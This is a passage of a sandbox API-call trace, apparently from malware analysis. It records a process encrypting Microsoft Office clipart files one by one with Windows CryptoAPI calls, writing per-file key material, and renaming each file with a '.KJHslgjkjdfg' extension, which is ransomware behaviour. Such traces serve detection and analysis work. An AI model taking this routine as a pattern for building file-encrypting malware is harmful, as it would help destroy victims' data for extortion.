1 [0218.625] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.625] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.625] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.625] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.625] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.625] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3100, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3100, lpOverlapped=0x0) returned 1 [0218.626] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3100, dwBufLen=0x3100 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3100) returned 1 [0218.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.626] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3100, lpOverlapped=0x0) returned 1 [0218.627] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.627] SetEndOfFile (hFile=0x130) returned 1 [0218.629] GetProcessHeap () returned 0x2ef0000 [0218.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.629] GetProcessHeap () returned 0x2ef0000 [0218.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.kjhslgjkjdfg")) returned 1 [0218.631] CloseHandle (hObject=0x130) returned 1 [0218.631] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00998_.WMF", cAlternateFileName="")) returned 1 [0218.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.632] GetProcessHeap () returned 0x2ef0000 [0218.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.632] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.632] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.634] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.635] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.635] GetProcessHeap () returned 0x2ef0000 [0218.635] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.635] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.635] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.635] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.635] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.636] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2904, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2904, lpOverlapped=0x0) returned 1 [0218.637] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2910, dwBufLen=0x2910 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2910) returned 1 [0218.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.637] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2910, lpOverlapped=0x0) returned 1 [0218.637] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x29e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.637] SetEndOfFile (hFile=0x130) returned 1 [0218.640] GetProcessHeap () returned 0x2ef0000 [0218.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.640] GetProcessHeap () returned 0x2ef0000 [0218.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.kjhslgjkjdfg")) returned 1 [0218.642] CloseHandle (hObject=0x130) returned 1 [0218.642] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01160_.WMF", cAlternateFileName="")) returned 1 [0218.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.644] GetProcessHeap () returned 0x2ef0000 [0218.644] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.644] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.645] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.647] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.647] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.647] GetProcessHeap () returned 0x2ef0000 [0218.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.647] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.647] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.647] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.647] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.647] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.647] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.648] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.648] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.648] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x984, lpOverlapped=0x0) returned 1 [0218.648] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x990, dwBufLen=0x990 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x990) returned 1 [0218.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.648] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x990, lpOverlapped=0x0) returned 1 [0218.648] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.648] SetEndOfFile (hFile=0x130) returned 1 [0218.649] GetProcessHeap () returned 0x2ef0000 [0218.650] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.650] GetProcessHeap () returned 0x2ef0000 [0218.650] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.kjhslgjkjdfg")) returned 1 [0218.651] CloseHandle (hObject=0x130) returned 1 [0218.652] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1 [0218.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.653] GetProcessHeap () returned 0x2ef0000 [0218.653] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.653] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.653] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.655] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.656] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.656] GetProcessHeap () returned 0x2ef0000 [0218.656] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.656] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.656] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.656] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.656] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.656] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.656] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.657] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x59c, lpOverlapped=0x0) returned 1 [0218.657] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5a0) returned 1 [0218.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.657] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5a0, lpOverlapped=0x0) returned 1 [0218.657] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.657] SetEndOfFile (hFile=0x130) returned 1 [0218.660] GetProcessHeap () returned 0x2ef0000 [0218.660] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.660] GetProcessHeap () returned 0x2ef0000 [0218.660] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.kjhslgjkjdfg")) returned 1 [0218.662] CloseHandle (hObject=0x130) returned 1 [0218.662] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE01191_.WMF", cAlternateFileName="")) returned 1 [0218.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.664] GetProcessHeap () returned 0x2ef0000 [0218.664] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.664] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.664] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.666] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.667] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.667] GetProcessHeap () returned 0x2ef0000 [0218.667] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.667] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.667] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.667] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.667] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.667] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.667] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.667] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.668] CryptImportKey (in: hProv=0x2f0c268, 